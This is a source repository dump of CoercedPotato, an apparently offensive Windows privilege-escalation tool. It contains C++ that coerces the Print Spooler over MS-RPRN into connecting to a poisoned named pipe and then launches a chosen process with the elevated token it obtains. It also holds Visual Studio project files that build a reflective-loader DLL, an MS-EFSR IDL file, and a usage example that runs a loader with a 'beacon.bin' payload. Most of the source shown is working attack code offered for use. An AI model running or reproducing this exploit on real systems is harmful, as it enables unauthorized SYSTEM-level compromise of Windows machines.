return 0;
}
BOOL createNamedPipe(wchar_t* namedpipe, wchar_t* commandExecuted) {
HANDLE hThread = NULL;
NamedPipeThreadArgs poisonedNamedPipe;
poisonedNamedPipe.pipePath = namedpipe;
poisonedNamedPipe.commandLine = commandExecuted;
hThread = CreateThread(NULL, 0, launchNamedPipeServer, &poisonedNamedPipe, 0, NULL);
wprintf(L"[PIPESERVER] Creating a thread launching a server pipe listening on Named Pipe %s.\r\n", poisonedNamedPipe.pipePath);
return TRUE;
}
long callRprnFunctions(int exploitID, bool force) {
wprintf(L"[MS-RPRN] [*] Attempting MS-RPRN functions...\r\n\n");
long result;
LPWSTR targetedPipeName;
targetedPipeName = (LPWSTR)LocalAlloc(LPTR, MAX_PATH * sizeof(WCHAR));
StringCchPrintf(targetedPipeName, MAX_PATH, L"\\\\127.0.0.1/pipe/coerced");
std::function<int()> functions[] = {
[&]() { return callRpcRemoteFindFirstPrinterChangeNotificationEx(targetedPipeName); },
[&]() { return callRpcRemoteFindFirstPrinterChangeNotification(targetedPipeName);
} };
int sizeOfFunctions = sizeof(functions) / sizeof(functions[0]);
if (exploitID == -1) {
wprintf(L"[MS-RPRN] Starting RPC functions fuzzing...\r\n");
for (int i = 0; i < sizeOfFunctions; i++) {
wprintf(L" [MS-RPRN] ");
result = functions[i]();
wprintf(L" [MS-RPRN] ");
handleError(result);
if (result == 0 and !force) {
LocalFree(targetedPipeName);
return 0;
}
}
}
else {
wprintf(L"[MS-RPRN] ");
result = functions[exploitID]();
wprintf(L"[MS-RPRN] ");
handleError(result);
}
LocalFree(targetedPipeName);
if (!force) {
wprintf(L"[MS-RPRN] None of MS-RPRN worked... \r\n\n\n");
}
return -1;
}
BOOL coerce()
{
long result;
handle_t RPCBind;
if (!createRPCbind(RPCBind)) {
wprintf(L"[RPCBIND] An error has occurred during the RPC binding \r\n");
return FALSE;
}
Sleep(500);
result = callRprnFunctions(-1, true) == 0;
return result;
}
void spawn_pipe(std::string stringCommand, std::string stringArg)
{
wchar_t* namedpipe;
size_t maxBufferSize, maxArgSize, maxCommandLineSize = 0;
maxBufferSize = stringCommand.size() + 1;
maxArgSize = stringArg.size() + 1;
maxCommandLineSize = maxBufferSize + maxArgSize;
// convert stringCommand to LPWSTR
const char* charPointer = stringCommand.c_str();
wchar_t* process = new wchar_t[maxBufferSize];
size_t convertedChars = 0;
mbstowcs_s(&convertedChars, process, maxBufferSize, charPointer, maxBufferSize - 1);
g_pwszProcessName = process;
wchar_t* arg = new wchar_t[maxArgSize];
wchar_t* command = new wchar_t[maxCommandLineSize];
convertedChars = 0;
mbstowcs_s(&convertedChars, command, maxCommandLineSize, charPointer, maxBufferSize - 1);
// create commandline arg for CreateProcess*
// commandline = process + arg
if (stringArg != "")
{
charPointer = stringArg.c_str();
maxBufferSize = stringArg.size() + 1;
convertedChars = 0;
mbstowcs_s(&convertedChars, arg, maxArgSize, charPointer, maxArgSize - 1);
wcsncat_s(command, maxCommandLineSize, L" ", 1);
wcsncat_s(command, maxCommandLineSize, arg, wcslen(arg));
g_pwszCommandLine = command;
}
g_bInteractWithConsole = false;
namedpipe = (wchar_t*)LocalAlloc(LPTR, MAX_PATH * sizeof(WCHAR));
StringCchPrintf(namedpipe, MAX_PATH, L"\\\\.\\pipe\\coerced\\pipe\\spoolss");
NamedPipeThreadArgs poisonedNamedPipe;
poisonedNamedPipe.pipePath = namedpipe;
poisonedNamedPipe.commandLine = command;
launchNamedPipeServer(&poisonedNamedPipe);
}
void RealEntrypoint(char* argument_string) {
try {
Arguments args = Arguments(argument_string);
if (args.Action == "spawn")
{
spawn_pipe(args.ProcessName, args.Argument);
}
else if (args.Action == "coerce")
{
coerce();
}
} catch (const std::invalid_argument&) {
std::cout << "Spawn Usage: CoercePotato spawn process_path optional_arg_for_process" << std::endl;
std::cout << "Spawn Usage: CoercePotato coerce" << std::endl;
std::cout << "Example:" << std::endl;
std::cout << "\tCoercePotato spawn C:\\Windows\\Temp\\loader.exe C:\\Windows\\Temp\\beacon.bin" << std::endl;
std::cout << "\tCoercePotato coerce" << std::endl;
std::cout << std::flush;
}
}
int main(int argc, char** argv)
{
if (argc != 2)
{
printf("Args invalid\n");
return -1;
}
RealEntrypoint(argv[1]);
}
/** ALL FUNCTIONS USEFUL FOR RPC INTERFACES **/
void __RPC_FAR* __RPC_USER midl_user_allocate(size_t cBytes)
{
return((void __RPC_FAR*) malloc(cBytes));
}
void __RPC_USER midl_user_free(void __RPC_FAR* p)
{
free(p);
}
// Taken from https://github.com/leechristensen/SpoolSample/blob/master/MS-RPRN/main.cpp
handle_t __RPC_USER STRING_HANDLE_bind(STRING_HANDLE lpStr)
{
RPC_STATUS RpcStatus;
RPC_WSTR StringBinding;
handle_t BindingHandle;
WCHAR ServerName[MAX_PATH + 1];
DWORD i;
if (lpStr && lpStr[0] == L'\\' && lpStr[1] == L'\\') {
ServerName[0] = ServerName[1] = '\\';
i = 2;
while (lpStr[i] && lpStr[i] != L'\\' && i < sizeof(ServerName)) {
ServerName[i] = lpStr[i];
i++;
}
ServerName[i] = 0;
}
else {
return FALSE;
}
RpcStatus = RpcStringBindingComposeW(
(RPC_WSTR)L"12345678-1234-ABCD-EF00-0123456789AB",
(RPC_WSTR)L"ncacn_np",
(RPC_WSTR)ServerName,
(RPC_WSTR)L"\\pipe\\spoolss",
NULL,
&StringBinding);
if (RpcStatus != RPC_S_OK) {
return(0);
}
RpcStatus = RpcBindingFromStringBindingW(StringBinding, &BindingHandle);
RpcStringFreeW(&StringBinding);
if (RpcStatus != RPC_S_OK) {
wprintf(L"[-] An error has occurred during STRING_HANDLE_bind()...\r\n");
return(0);
}
return(BindingHandle);
}
void __RPC_USER STRING_HANDLE_unbind(STRING_HANDLE lpStr, handle_t BindingHandle)
{
RPC_STATUS RpcStatus;
RpcStatus = RpcBindingFree(&BindingHandle);
if (RpcStatus == RPC_S_INVALID_BINDING) wprintf(L"[-] An error has occurred during STRING_HANDLE_unbind()...\r\n");
return;
}
================================================
FILE: CoercedPotato.sln
================================================
Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 17
VisualStudioVersion = 17.7.34003.232
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CoercedPotato", "CoercedPotato.vcxproj", "{337ED7BE-969A-40C4-A356-BE99561F4633}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|x64 = Debug|x64
Debug|x86 = Debug|x86
Exe-test|x64 = Exe-test|x64
Exe-test|x86 = Exe-test|x86
Release|x64 = Release|x64
Release|x86 = Release|x86
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{337ED7BE-969A-40C4-A356-BE99561F4633}.Debug|x64.ActiveCfg = Debug|x64
{337ED7BE-969A-40C4-A356-BE99561F4633}.Debug|x64.Build.0 = Debug|x64
{337ED7BE-969A-40C4-A356-BE99561F4633}.Debug|x86.ActiveCfg = Debug|Win32
{337ED7BE-969A-40C4-A356-BE99561F4633}.Debug|x86.Build.0 = Debug|Win32
{337ED7BE-969A-40C4-A356-BE99561F4633}.Exe-test|x64.ActiveCfg = Exe-test|x64
{337ED7BE-969A-40C4-A356-BE99561F4633}.Exe-test|x64.Build.0 = Exe-test|x64
{337ED7BE-969A-40C4-A356-BE99561F4633}.Exe-test|x86.ActiveCfg = Exe-test|Win32
{337ED7BE-969A-40C4-A356-BE99561F4633}.Exe-test|x86.Build.0 = Exe-test|Win32
{337ED7BE-969A-40C4-A356-BE99561F4633}.Release|x64.ActiveCfg = Release|x64
{337ED7BE-969A-40C4-A356-BE99561F4633}.Release|x64.Build.0 = Release|x64
{337ED7BE-969A-40C4-A356-BE99561F4633}.Release|x86.ActiveCfg = Release|Win32
{337ED7BE-969A-40C4-A356-BE99561F4633}.Release|x86.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {350DF1A2-5B35-4149-9CD5-3C27A4115BB9}
EndGlobalSection
EndGlobal
================================================
FILE: CoercedPotato.vcxproj
================================================
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Exe-test|Win32">
<Configuration>Exe-test</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Exe-test|x64">
<Configuration>Exe-test</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>17.0</VCProjectVersion>
<Keyword>Win32Proj</Keyword>
<ProjectGuid>{337ed7be-969a-40c4-a356-be99561f4633}</ProjectGuid>
<RootNamespace>CoercedPotato</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Exe-test|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Exe-test|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Exe-test|Win32'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Exe-test|x64'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<TargetExt>.dll</TargetExt>
<OutDir>$(SolutionDir)dist</OutDir>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Exe-test|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Exe-test|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="Arguments.cpp" />
<ClCompile Include="CoercedPotato.cpp" />
<ClCompile Include="CoerceFunctions.cpp" />
<ClCompile Include="ReflectiveLoader.cpp" />
<ClCompile Include="rpc_interfaces\ms-efsr_c.c" />
<ClCompile Include="rpc_interfaces\ms-rprn_c.c" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="Arguments.h" />
<ClInclude Include="CoerceFunctions.h" />
<ClInclude Include="lib\ms-efsr_h.h" />
<ClInclude Include="lib\ms-rprn_h.h" />
<ClInclude Include="ReflectiveDLLInjection.h" />
<ClInclude Include="ReflectiveLoader.h" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>
================================================
FILE: CoercedPotato.vcxproj.filters
================================================
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Fichiers sources">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Fichiers d%27en-tête">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
</Filter>
<Filter Include="Fichiers de ressources">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
<Filter Include="Fichiers sources\dependencies">
<UniqueIdentifier>{84d6ab7f-5b6f-43a2-bcc9-b190fffb66a7}</UniqueIdentifier>
</Filter>
<Filter Include="Fichiers d%27en-tête\dependencies">
<UniqueIdentifier>{136f5bc5-0286-4dc0-a4b1-b89e12c2a59c}</UniqueIdentifier>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="CoercedPotato.cpp">
<Filter>Fichiers sources</Filter>
</ClCompile>
<ClCompile Include="CoerceFunctions.cpp">
<Filter>Fichiers sources</Filter>
</ClCompile>
<ClCompile Include="rpc_interfaces\ms-efsr_c.c">
<Filter>Fichiers sources</Filter>
</ClCompile>
<ClCompile Include="rpc_interfaces\ms-rprn_c.c">
<Filter>Fichiers sources</Filter>
</ClCompile>
<ClCompile Include="Arguments.cpp">
<Filter>Fichiers sources</Filter>
</ClCompile>
<ClCompile Include="ReflectiveLoader.cpp">
<Filter>Fichiers sources\dependencies</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="CoerceFunctions.h">
<Filter>Fichiers d%27en-tête</Filter>
</ClInclude>
<ClInclude Include="lib\ms-efsr_h.h">
<Filter>Fichiers d%27en-tête</Filter>
</ClInclude>
<ClInclude Include="lib\ms-rprn_h.h">
<Filter>Fichiers d%27en-tête</Filter>
</ClInclude>
<ClInclude Include="Arguments.h">
<Filter>Fichiers d%27en-tête</Filter>
</ClInclude>
<ClInclude Include="ReflectiveDLLInjection.h">
<Filter>Fichiers d%27en-tête\dependencies</Filter>
</ClInclude>
<ClInclude Include="ReflectiveLoader.h">
<Filter>Fichiers d%27en-tête\dependencies</Filter>
</ClInclude>
</ItemGroup>
</Project>
================================================
FILE: CoercedPotato.vcxproj.user
================================================
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup />
</Project>
================================================
FILE: IDL_FILES/ms-efsr.idl
================================================
[
uuid(df1941c5-fe89-4e79-bf10-463657acf44d),
version(1.0),
]
interface efsrpc_through_pipe_efsrpc
{
typedef pipe unsigned char EFS_EXIM_PIPE;
typedef unsigned long DWORD, * PDWORD, * LPDWORD;
typedef int BOOL;
typedef struct _EFS_HASH_BLOB {
[range(0, 100)] DWORD cbData;
[size_is(cbData)] unsigned char* bData;
} EFS_HASH_BLOB;
typedef struct _RPC_SID_IDENTIFIER_AUTHORITY {
byte Value[6];
} RPC_SID_IDENTIFIER_AUTHORITY;
typedef struct _RPC_SID {
unsigned char Revision;
unsigned char SubAuthorityCount;
RPC_SID_IDENTIFIER_AUTHORITY IdentifierAuthority;
[size_is(SubAuthorityCount)] unsigned long SubAuthority[];
} RPC_SID,* PRPC_SID, * PSID;
typedef struct _CERTIFICATE_BLOB {
DWORD dwCertEncodingType;
[range(0, 32768)] DWORD cbData;
[size_is(cbData)] unsigned char* bData;
} EFS_CERTIFICATE_BLOB;
typedef struct _ENCRYPTION_CERTIFICATE {
DWORD cbTotalLength;
RPC_SID* UserSid;
EFS_CERTIFICATE_BLOB* CertBlob;
} ENCRYPTION_CERTIFICATE;
typedef struct _ENCRYPTION_CERTIFICATE_LIST {
[range(0, 500)] DWORD nUsers;
[size_is(nUsers, )] ENCRYPTION_CERTIFICATE** Users;
} ENCRYPTION_CERTIFICATE_LIST;
typedef struct _ENCRYPTION_CERTIFICATE_HASH {
DWORD cbTotalLength;
RPC_SID* UserSid;
EFS_HASH_BLOB* Hash;
[string] wchar_t* lpDisplayInformation;
} ENCRYPTION_CERTIFICATE_HASH;
typedef struct _ENCRYPTION_CERTIFICATE_HASH_LIST {
[range(0, 500)] DWORD nCert_Hash;
[size_is(nCert_Hash, )] ENCRYPTION_CERTIFICATE_HASH** Users;
} ENCRYPTION_CERTIFICATE_HASH_LIST;
typedef [context_handle] void* PEXIMPORT_CONTEXT_HANDLE;
typedef struct _EFS_RPC_BLOB {
[range(0, 266240)] DWORD cbData;
[size_is(cbData)] unsigned char* bData;
} EFS_RPC_BLOB, * PEFS_RPC_BLOB;
typedef struct _ENCRYPTED_FILE_METADATA_SIGNATURE {
DWORD dwEfsAccessType;
ENCRYPTION_CERTIFICATE_HASH_LIST* CertificatesAdded;
ENCRYPTION_CERTIFICATE* EncryptionCertificate;
EFS_RPC_BLOB* EfsStreamSignature;
} ENCRYPTED_FILE_METADATA_SIGNATURE;
typedef struct _ENCRYPTION_PROTECTOR {
DWORD cbTotalLength;
RPC_SID* UserSid;
[string] wchar_t* lpProtectorDescriptor;
} ENCRYPTION_PROTECTOR, * PENCRYPTION_PROTECTOR;
typedef struct _ENCRYPTION_PROTECTOR_LIST {
DWORD nProtectors;
[size_is(nProtectors)] PENCRYPTION_PROTECTOR* pProtectors;
} ENCRYPTION_PROTECTOR_LIST, * PENCRYPTION_PROTECTOR_LIST;
typedef struct Struct_68_t
{
char StructMember0[6];
}Struct_68_t;
typedef struct Struct_100_t
{
char StructMember0;
char StructMember1;
struct Struct_68_t StructMember2;
[size_is(StructMember1)]/*[range(0,0)]*/ long StructMember3[];
}Struct_100_t;
typedef struct Struct_136_t
{
long StructMember0;
[unique] [size_is(StructMember0)]/*[range(0,100)]*/ char* StructMember1;
}Struct_136_t;
typedef struct Struct_152_t
{
long StructMember0;
[unique] struct Struct_100_t* StructMember1;
[unique] struct Struct_136_t* StructMember2;
[unique] [string] wchar_t* StructMember3;
}Struct_152_t;
typedef struct Struct_220_t
{
long StructMember0;
[unique] /* [DBG] FC_BOGUS_ARRAY */ [size_is(StructMember0)]/*[range(0,500)]*/ /* */ struct Struct_152_t** StructMember1;
}Struct_220_t;
typedef struct Struct_266_t
{
long StructMember0;
long StructMember1;
[unique] [size_is(StructMember1)]/*[range(0,32768)]*/ char* StructMember2;
}Struct_266_t;
typedef struct Struct_282_t
{
long StructMember0;
[unique] struct Struct_100_t* StructMember1;
[unique] struct Struct_266_t* StructMember2;
}Struct_282_t;
typedef struct Struct_346_t
{
long StructMember0;
[unique] /* [DBG] FC_BOGUS_ARRAY */ [size_is(StructMember0)]/*[range(0,500)]*/ /* */ struct Struct_282_t** StructMember1;
}Struct_346_t;
typedef struct Struct_392_t
{
long StructMember0;
[unique] [size_is(StructMember0)]/*[range(0,266240)]*/ char* StructMember1;
}Struct_392_t;
typedef struct Struct_462_t
{
[range(0, 8)] long StructMember0;
[range(0, 2048)] long StructMember1;
[unique] [size_is(/* FC_EXPR */(StructMember1 + StructMember0))]/*[range(0,0)]*/ char* StructMember2;
}Struct_462_t;
typedef struct Struct_492_t
{
long StructMember0;
[unique] struct Struct_220_t* StructMember1;
[unique] struct Struct_282_t* StructMember2;
[unique] struct Struct_392_t* StructMember3;
}Struct_492_t;
typedef struct Struct_530_t
{
long StructMember0;
[unique] struct Struct_100_t* StructMember1;
[unique] [string] wchar_t* StructMember2;
}Struct_530_t;
typedef struct Struct_594_t
{
long StructMember0;
[unique] /* [DBG] FC_BOGUS_ARRAY */ [size_is(StructMember0)]/*[range(0,0)]*/ /* */ struct Struct_530_t** StructMember1;
}Struct_594_t;
typedef struct Struct_762_t
{
char StructMember0[16];
}Struct_762_t;
typedef struct Struct_836_t
{
long StructMember0;
long StructMember1;
}Struct_836_t;
typedef struct Struct_850_t
{
long StructMember0;
short StructMember1;
short StructMember2;
byte StructMember3[8];
}Struct_850_t;
typedef struct Struct_904_t
{
long StructMember0;
[unique] /* [DBG] FC_BOGUS_ARRAY */ [size_is(StructMember0)]/*[range(0,0)]*/ /* */ struct Struct_850_t* StructMember1;
hyper StructMember2;
[unique] [string] wchar_t* StructMember3;
struct Struct_836_t StructMember4;
}Struct_904_t;
typedef struct Struct_972_t
{
long StructMember0;
[unique] /* [DBG] FC_BOGUS_ARRAY */ [size_is(StructMember0)]/*[range(0,0)]*/ /* */ struct Struct_904_t** StructMember1;
}Struct_972_t;
long EfsRpcOpenFileRaw(
[in] handle_t binding_h,
[out] PEXIMPORT_CONTEXT_HANDLE* hContext,
[in, string] wchar_t* FileName,
[in] long Flags
);
long EfsRpcReadFileRaw(
[in] PEXIMPORT_CONTEXT_HANDLE hContext,
[out] EFS_EXIM_PIPE* EfsOutPipe
);
long EfsRpcWriteFileRaw(
[in] PEXIMPORT_CONTEXT_HANDLE hContext,
[in] EFS_EXIM_PIPE* EfsInPipe
);
void EfsRpcCloseRaw(
[in, out] PEXIMPORT_CONTEXT_HANDLE* hContext
);
long EfsRpcEncryptFileSrv(
[in] handle_t binding_h,
[in, string] wchar_t* FileName
);
long EfsRpcDecryptFileSrv(
[in] handle_t binding_h,
[in, string] wchar_t* FileName,
[in] unsigned long OpenFlag
);
DWORD EfsRpcQueryUsersOnFile(
[in] handle_t binding_h,
[in, string] wchar_t* FileName,
[out] ENCRYPTION_CERTIFICATE_HASH_LIST** Users
);
DWORD EfsRpcQueryRecoveryAgents(
[in] handle_t binding_h,
[in, string] wchar_t* FileName,
[out] ENCRYPTION_CERTIFICATE_HASH_LIST** RecoveryAgents
);
DWORD EfsRpcRemoveUsersFromFile(
[in] handle_t binding_h,
[in, string] wchar_t* FileName,
[in] ENCRYPTION_CERTIFICATE_HASH_LIST* Users
);
DWORD EfsRpcAddUsersToFile(
[in] handle_t binding_h,
[in, string] wchar_t* FileName,
[in] ENCRYPTION_CERTIFICATE_LIST* EncryptionCertificates
);
long Proc10_EfsRpcSetFileEncryptionKey(
[in][unique]struct Struct_282_t* arg_1,
[in]long arg_2,
[in]long arg_3);
DWORD EfsRpcNotSupported(
[in] handle_t binding_h,
[in, string] wchar_t* Reserved1,
[in, string] wchar_t* Reserved2,
[in] DWORD dwReserved1,
[in] DWORD dwReserved2,
[in, unique] EFS_RPC_BLOB* Reserved,
[in] BOOL bReserved
);
DWORD EfsRpcFileKeyInfo(
[in] handle_t binding_h,
[in, string] wchar_t* FileName,
[in] DWORD InfoClass,
[out] EFS_RPC_BLOB** KeyInfo
);
DWORD EfsRpcDuplicateEncryptionInfoFile(
[in] handle_t binding_h,
[in, string] wchar_t* SrcFileName,
[in, string] wchar_t* DestFileName,
[in] DWORD dwCreationDisposition,
[in] DWORD dwAttributes,
[in, unique] EFS_RPC_BLOB* RelativeSD,
[in] BOOL bInheritHandle
);
long Proc14_EfsUsePinForEncryptedFiles(
[in]struct Struct_136_t* arg_1,
[in]struct Struct_462_t* arg_2);
DWORD EfsRpcAddUsersToFileEx(
[in] handle_t binding_h,
[in] DWORD dwFlags,
[in, unique] EFS_RPC_BLOB* Reserved,
[in, string] wchar_t* FileName,
